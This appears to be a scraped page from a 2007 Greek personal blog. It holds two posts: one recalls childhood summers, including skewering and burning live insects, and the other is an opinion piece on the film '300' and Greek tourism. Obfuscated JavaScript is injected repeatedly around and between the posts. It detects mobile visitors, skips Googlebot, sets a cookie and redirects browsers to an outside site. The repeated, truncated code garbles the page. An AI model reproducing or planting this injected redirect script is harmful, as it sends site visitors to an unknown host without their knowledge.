g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαρτίου 11, 2007

καλοκαιρινά βράδυα και … μεσημέρια.

Filed under: Uncategorized — thelastrealanwnymous @ 8 :32 πμ

έχω στο μυαλό μου  τα βράδυα του καλοκαιριού ,με τα κολοπεδα τους φίλους μου ,στην ίδια «αυλή» στο κεντρο ,  με μπύρες , πατάτες τηγανιτές και σουβλάκια.

μυρωδιές από την τσίκνα του καρβουνου, και ατέλειωτες μα..κίες και πειράγματα μεταξύ μας. 

καποιες φορές παίζει και η πραλλαγή μπύρες και πίτσες. αλλά αυτή η φάση εχει να κανει κυρίως με το ποδόσφαιρο  (μουντιάλ) στην τιβι.

μετά ,όλοι μαζί  στο ίδιο κλαμπ , με μπύρες και μπακαρντι και σφηνάκια και ότι άλλη έμπνευση του φίλου μας του μπάρμαν μέχρι το πρωί.

χθες το μεσημέρι στο γραφείο , κοίταξα έξω από το τζάμι και θυμήθηκα τα καλοκαιρινά μεσημέρια στην αυλή. είχαμε  μονοκατοικία τότε και τα οικονομικά του ντάντι εδειχναν ότι δεν θα δούλευα ποτέ.  

τώρα ζούμε σε διαμέρισμα.

τότε 8-9 χρονώ περίπου , είχα αδυναμία στα έντομα.  περίμενα τα καλοκαιρινά μεσημέρια να κοιμηθούν όλοι και κατέβαινα ξυπόλητος στην αυλή . οι μύγες πιάνονται εύκολα . πλησιάζεις σιγά ,σιγά ,σιγά , κάνεις μιά απότομη κίνηση με την παλάμη σου και χραπ την πιάνεις . μετά πολύ προσεκτικά μικραίνεις το χώρο της μεσα στη χούφτα σου , ενω αυτή χτυπιέται και σε γαργαλάει – και καποιες φορές δεν αντέχεις και την αφήνεις να φύγει – και με το άλλο χέρι την μαγκώνεις με τα δάχτυλα , απαλά όμως για να μη τη σκοτώσεις.

οι σφήκες και οι μελισσες έχουν άλλη τεχνική. τις πλησιαζεις σιγά, σιγά , σιγά , με ένα ποτήρι και ένα χαρτόνι . τις σκεπαζεις ξαφικά με το ποτήρι και μετά περνάς το χαρτόνι από κατω με προσοχή να μη τους κόψεις τα πόδια . μετά ή με ένα μισοκαμένο χαρτί που καπνίζει , ή ακόμα καλύτερα με ένα τσιγάρο , βαζεις από ενα μικρό ανοιγμα στο ποτήρι καπνό και αυτές ζαλίζονται και ξαπλώνουν ανάσκελα με τα πόδια πάνω. (αυτή η σκηνή « με τα πόδια πάνω» μη σας βάζει ιδέες ότι μπορεί και να κάνεις σεξ μαζί τους . δεν έχω ακούσει ακόμα ανθρωπους που να φαντασιώνονται έντομα . 🙂   )

μετά τις τρυπάς και τις περνάς σε  ένα βελόνι , μύγες και σφήκες μαζί και αυτές συνεχίζουν να ζουν και να κουνάν τα φτερά τους . εσύ τις έχεις περασμένες σαν σουβλάκι στο βελόνι και τότε παίρνεις ένα αναπτήρα και τις καις.

ε σας πληροφορώ ότι αναδύεται ένα «άρωμα» σαν ψημμένα σουβλάκια. 

επίσης σας πληροφορώ ότι ειχα πολύ όμορφα παιδικά χρόνια και ότι τα καλοκαίρια εκτός των άλλων τα έχω συνδυάσει με τη μυρωδιά του καρβουνου και την τσίκνα από τα σουβλάκια .  :)var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαρτίου 8, 2007

«300» δουλεύουν «πάλι» για τα «10.000.000»

Filed under: Uncategorized — thelastrealanwnymous @ 7 :27 μμ

Καθε μπλόγκερ είναι ένας «εν δυνάμει» πρεσβευτής της χώρας του.
Η ταινία «300» αν μη τι άλλο -σε μιά αρχόμενη τουριστική σαιζόν -μιλάει για την Ελλάδα.
Δεν μπορεί όλοι αυτοί οι διαφωνούντες να μη βλέπουν το προφανές. Ας πιστέψουμε ότι το Χόλυγουντ παίζει αυτό το ρόλο : να διακαιολογεί -πολιτισμικά- τα γεράκια των ΗΠΑ.
Εμείς έχουμε μία χώρα που μπορεί να πουλήσει στην τουριστική της πελατεία από ήλιο και ερωτα μέχρι ιστορία «ανδρείων» και πανέξυπνων ανδρών.
Πέραν του ότι ,από το τρέιλερ μας προειδόποιούν ότι βασίστηκε στο κόμιξ και αυτό δίνει την δυνατότητα για «παρεκλίσεις» , το φίλμ εξακολουθεί να λειτουργεί θετικά για τη χώρα μας.
Αν επεκταθώ σε αναλογες καταγγελίες από μπλόγκερς αυτές τις μέρες για τη «χερμπαλάιφ» παραδειγμα, θα πω το εξής: έκανες το λαθος να γραφτείς και την πατησες; Φέρσου έξυπνα , χρησιμοποίησε το μηχανισμό της , το δίκτυο της , τις γνωριμίες σου εκεί σ’ αυτο το χώρο ,για να «πουλήσεις» αυτό που θέλεις εσύ.
Κάπως ετσι φέρονται οι πολιτικοί μας και το αποδεικνύουν καθημερινά στο δημόσιο βίο . Σήμερα αγαπούν τους οικονομικούς μεταναστες και αυριο αυτούς που «αγρυπνοι φρουροί» φυλάνε τα σύνορα!!
Μπορείτε λοιπόν να «χρησιμοποιήσετε» το φίλμ για να μιλήσετε για τη χώρα ; Μπορείτε να μπείτε σε διεθνή φόρουμς για το φιλμ και με λίγες λέξεις να τους «φυσήξετε» λίγο από το αεράκι του Αιγαίου;
Η «ελλας» 🙂 δεν είναι μόνο φεστιβάλ Θεσσαλονίκης και δύσκολα φίλμς που μπροστά τους τα ξελνα μοιάζουν σαπουνόπερες.
Επειδή συναντάω εδώ στα μπλόγκς καθημερινά άτομα με άποψη και γνώσεις θα ήθελα να δούνε αυτή τη «εξυπνη» πλευρά των πραγμάτων αντι να καταφεύγουν σε κουραστικές καταγγελλίες που απλώς αναπαράγουν το φτηνό τηλεοπτικό πνεύμα.

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 